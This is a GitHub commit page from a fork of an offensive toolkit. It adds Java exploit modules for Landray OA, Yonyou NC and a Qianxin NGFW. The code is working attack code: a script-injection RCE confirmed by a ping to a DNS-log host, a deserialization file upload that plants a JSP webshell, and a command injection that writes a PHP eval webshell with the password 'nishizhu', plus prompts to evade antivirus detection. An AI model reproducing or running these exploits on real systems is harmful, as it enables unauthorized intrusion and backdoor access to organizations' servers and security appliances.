forked from White-hua/Apt_t00ls
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
28 changed files
with
442 additions
and
17 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,47 @@ | ||
| package Exp.OA.landrayoa; | ||
|
|
||
| import Utilss.HttpTools; | ||
| import Utilss.Response; | ||
| import Utilss.shell; | ||
| import core.Exploitlnterface; | ||
| import javafx.scene.control.TextArea; | ||
|
|
||
| import java.util.HashMap; | ||
|
|
||
| public class landray_datajson implements Exploitlnterface { | ||
| @Override | ||
| public Boolean checkVul(String url, TextArea textArea) { | ||
| Boolean att = att(url, textArea); | ||
| return att; | ||
| } | ||
|
|
||
| @Override | ||
| public Boolean getshell(String url, TextArea textArea) { | ||
| textArea.appendText("\n 该漏洞已直接执行系统命令，无需getshell"); | ||
| return false; | ||
| } | ||
|
|
||
| private Boolean att(String url,TextArea textArea){ | ||
| String dnspath = shell.readFile(shell.dnspath).replace("http://",""); | ||
| String replace = dnspath.replace("/", ""); | ||
| String payload = "?s_bean=sysFormulaSimulateByJS&script=function%20test(){%20return%20java.lang.Runtime};r=test();r.getRuntime().exec(\"ping%20" + replace + "\")&type=1"; | ||
| Response dns_le1 = HttpTools.get(shell.readFile(shell.dnscofpath), new HashMap<String, String>(), "utf-8"); | ||
| int dns_1 = dns_le1.getText().length(); | ||
|
|
||
| Response response = HttpTools.get(url + payload, new HashMap<String, String>(), "utf-8"); | ||
|
|
||
| try { Thread.sleep (5000) ; | ||
| } catch (Exception ie){} | ||
|
|
||
| Response dns_le2 = HttpTools.get(shell.readFile(shell.dnscofpath), new HashMap<String, String>(), "utf-8"); | ||
| int dns_2 = dns_le2.getText().length(); | ||
|
|
||
| if(dns_2 > dns_1){ | ||
| textArea.appendText("\n漏洞存在-收到dnslog回显 \n " + url + payload + "\n"); | ||
| return true; | ||
| }else { | ||
| textArea.appendText("\nlandray_datajson-RCE-漏洞不存在 (出现误报请联系作者)"); | ||
| return false; | ||
| } | ||
| } | ||
| } |
Large diffs are not rendered by default.
Oops, something went wrong.
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
116 changes: 116 additions & 0 deletions
116
src/main/java/Exp/OA/yongyou/yongyou_nc_FileReceiveServlet.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,116 @@ | ||
| package Exp.OA.yongyou; | ||
|
|
||
| import Utilss.HttpTools; | ||
| import Utilss.Response; | ||
| import Utilss.shell; | ||
| import core.Exploitlnterface; | ||
| import javafx.scene.control.TextArea; | ||
|
|
||
| import java.io.ObjectOutputStream; | ||
| import java.io.OutputStream; | ||
| import java.net.HttpURLConnection; | ||
| import java.util.HashMap; | ||
| import java.util.Iterator; | ||
| import java.util.Map; | ||
|
|
||
| public class yongyou_nc_FileReceiveServlet implements Exploitlnterface { | ||
| @Override | ||
| public Boolean checkVul(String url, TextArea textArea) { | ||
| Boolean att = att(url, textArea); | ||
| return att; | ||
| } | ||
|
|
||
| @Override | ||
| public Boolean getshell(String url, TextArea textArea) { | ||
| Boolean shell = shell(url, textArea); | ||
| return shell; | ||
| } | ||
|
|
||
| private Boolean att(String url,TextArea textArea){ | ||
| Response response = new Response(0, (String)null, (String)null, (String)null); | ||
| try { | ||
| HashMap<String,String> head = new HashMap<>(); | ||
| head.put("Content-Type","multipart/form-data;"); | ||
| HttpURLConnection coon = HttpTools.getCoon(url + "/servlet/FileReceiveServlet"); | ||
| coon.setRequestMethod("POST"); | ||
| coon.setDoOutput(true); | ||
| coon.setDoInput(true); | ||
| coon.setUseCaches(false); | ||
| Iterator var5 = head.keySet().iterator(); | ||
|
|
||
| while(var5.hasNext()) { | ||
| String key = (String)var5.next(); | ||
| coon.setRequestProperty(key, (String)head.get(key)); | ||
| } | ||
| OutputStream outputStream = coon.getOutputStream(); | ||
| ObjectOutputStream out = new ObjectOutputStream(outputStream); | ||
| Map<String, Object> metaInfo=new HashMap<String, Object>(); | ||
| metaInfo.put("TARGET_FILE_PATH","webapps/nc_web"); | ||
| metaInfo.put("FILE_NAME","nishizhu.txt"); | ||
| out.writeObject(metaInfo); | ||
| outputStream.write(shell.test_payload.getBytes()); | ||
| out.flush(); | ||
| out.close(); | ||
| outputStream.close(); | ||
| response = HttpTools.getResponse(coon,"utf-8"); | ||
|
|
||
| Response get_res = HttpTools.get(url + "/nishizhu.txt", new HashMap<String, String>(), "utf-8"); | ||
| if(get_res.getCode() == 200 && get_res.getText().contains(shell.test_payload)){ | ||
| textArea.appendText("\n 反序列化漏洞存在 txt文件写入成功 \n" + url + "/nishizhu.txt"); | ||
| return true; | ||
| }else { | ||
| textArea.appendText("\n nc_FileReceiveServlet-RCE-漏洞不存在 (出现误报请联系作者)"); | ||
| return false; | ||
| } | ||
|
|
||
| } catch (Exception e) { | ||
| textArea.appendText("\n nc_FileReceiveServlet-RCE-漏洞不存在 (出现误报请联系作者)"); | ||
| textArea.appendText("\n 连接异常！！！"); | ||
| } | ||
| return false; | ||
| } | ||
|
|
||
| private Boolean shell(String url,TextArea textArea){ | ||
| Response response = new Response(0, (String)null, (String)null, (String)null); | ||
| try { | ||
| HashMap<String,String> head = new HashMap<>(); | ||
| head.put("Content-Type","multipart/form-data;"); | ||
| HttpURLConnection coon = HttpTools.getCoon(url + "/servlet/FileReceiveServlet"); | ||
| coon.setRequestMethod("POST"); | ||
| coon.setDoOutput(true); | ||
| coon.setDoInput(true); | ||
| coon.setUseCaches(false); | ||
| Iterator var5 = head.keySet().iterator(); | ||
|
|
||
| while(var5.hasNext()) { | ||
| String key = (String)var5.next(); | ||
| coon.setRequestProperty(key, (String)head.get(key)); | ||
| } | ||
| OutputStream outputStream = coon.getOutputStream(); | ||
| ObjectOutputStream out = new ObjectOutputStream(outputStream); | ||
| Map<String, Object> metaInfo=new HashMap<String, Object>(); | ||
| metaInfo.put("TARGET_FILE_PATH","webapps/nc_web"); | ||
| metaInfo.put("FILE_NAME","nishizhu.jsp"); | ||
| out.writeObject(metaInfo); | ||
| outputStream.write(shell.readFile(shell.Jsppath).getBytes()); | ||
| out.flush(); | ||
| out.close(); | ||
| outputStream.close(); | ||
| response = HttpTools.getResponse(coon,"utf-8"); | ||
|
|
||
| Response get_res = HttpTools.get(url + "/nishizhu.jsp", new HashMap<String, String>(), "utf-8"); | ||
| if(get_res.getCode() == 200 && get_res.getText().contains(shell.test_payload)){ | ||
| textArea.appendText("\n 反序列化漏洞存在 shell文件写入成功 \n" + url + "/nishizhu.jsp"); | ||
| return true; | ||
| }else { | ||
| textArea.appendText("\n shell被查杀 请免杀！！！！！！！！"); | ||
| return false; | ||
| } | ||
|
|
||
| } catch (Exception e) { | ||
| textArea.appendText("\n 连接异常！！！"); | ||
| } | ||
| return false; | ||
| } | ||
|
|
||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,59 @@ | ||
| package Exp.equipment.qianxin; | ||
|
|
||
| import Utilss.HttpTools; | ||
| import Utilss.Response; | ||
| import Utilss.shell; | ||
| import core.Exploitlnterface; | ||
| import javafx.scene.control.TextArea; | ||
|
|
||
| import java.util.HashMap; | ||
|
|
||
| public class ngfw_waf_router implements Exploitlnterface{ | ||
| @Override | ||
| public Boolean checkVul(String url, TextArea textArea) { | ||
| Boolean att = att(url, textArea, "nishizhu.txt", shell.Testpath); | ||
| return att; | ||
| } | ||
|
|
||
| @Override | ||
| public Boolean getshell(String url, TextArea textArea) { | ||
| Boolean att = shell(url,textArea); | ||
| return att; | ||
| } | ||
|
|
||
| private Boolean att(String url,TextArea textArea,String filename,String filepath){ | ||
| HashMap<String,String> head = new HashMap<>(); | ||
| head.put("Content-Type","application/x-www-form-urlencoded"); | ||
| String postString = "{\"action\":\"SSLVPN_Resource\",\"method\":\"deleteImage\",\"data\":[{\"data\":[\"/var/www/html/d.txt;echo '" + shell.readFile(filepath) +"' >/var/www/html/" + filename + "\"]}],\"type\":\"rpc\",\"tid\":17}"; | ||
| Response post = HttpTools.post(url + "/directdata/direct/router", postString, head, "utf-8"); | ||
| if(post.getCode() == 200 && post.getText().contains("success")){ | ||
| Response response = HttpTools.get(url + "/" + filename, new HashMap<String, String>(), "utf-8"); | ||
| if(response.getCode() == 200 && response.getText().contains(shell.test_payload)){ | ||
| textArea.appendText("\n 漏洞存在，测试文件已写入 \n" + url + "/" + filename); | ||
| return true; | ||
| }else { | ||
| textArea.appendText("\n NGFW_waf_router-RCE-漏洞不存在 (出现误报请联系作者)"); | ||
| return false; | ||
| } | ||
| }else { | ||
| textArea.appendText("\n NGFW_waf_router-RCE-漏洞不存在 (出现误报请联系作者)"); | ||
| return false; | ||
| } | ||
| } | ||
|
|
||
| private Boolean shell(String url,TextArea textArea){ | ||
| HashMap<String,String> head = new HashMap<>(); | ||
| head.put("Content-Type","application/x-www-form-urlencoded"); | ||
| String postString = "{\"action\":\"SSLVPN_Resource\",\"method\":\"deleteImage\",\"data\":[{\"data\":[\"/var/www/html/d.txt;echo '9df37afc77bdd582d90aefaf4e35c63e<?php @eval($_POST[nishizhu]);?>' > /var/www/html/nishizhu.php\"]}],\"type\":\"rpc\",\"tid\":17}"; | ||
| Response post = HttpTools.post(url + "/directdata/direct/router", postString, head, "utf-8"); | ||
| Response response = HttpTools.get(url + "/nishizhu.php", new HashMap<String, String>(),"utf-8"); | ||
| if(response.getCode() == 200 && response.getText().contains("9df37afc77bdd582d90aefaf4e35c63e")){ | ||
| textArea.appendText("\n shell写入成功 \n" + url + "/nishizhu.php"); | ||
| textArea.appendText("\n 请使用菜刀连接 密码为 nishizhu"); | ||
| return true; | ||
| }else { | ||
| textArea.appendText("\n 疑似查杀 请自行复现"); | ||
| return false; | ||
| } | ||
| } | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.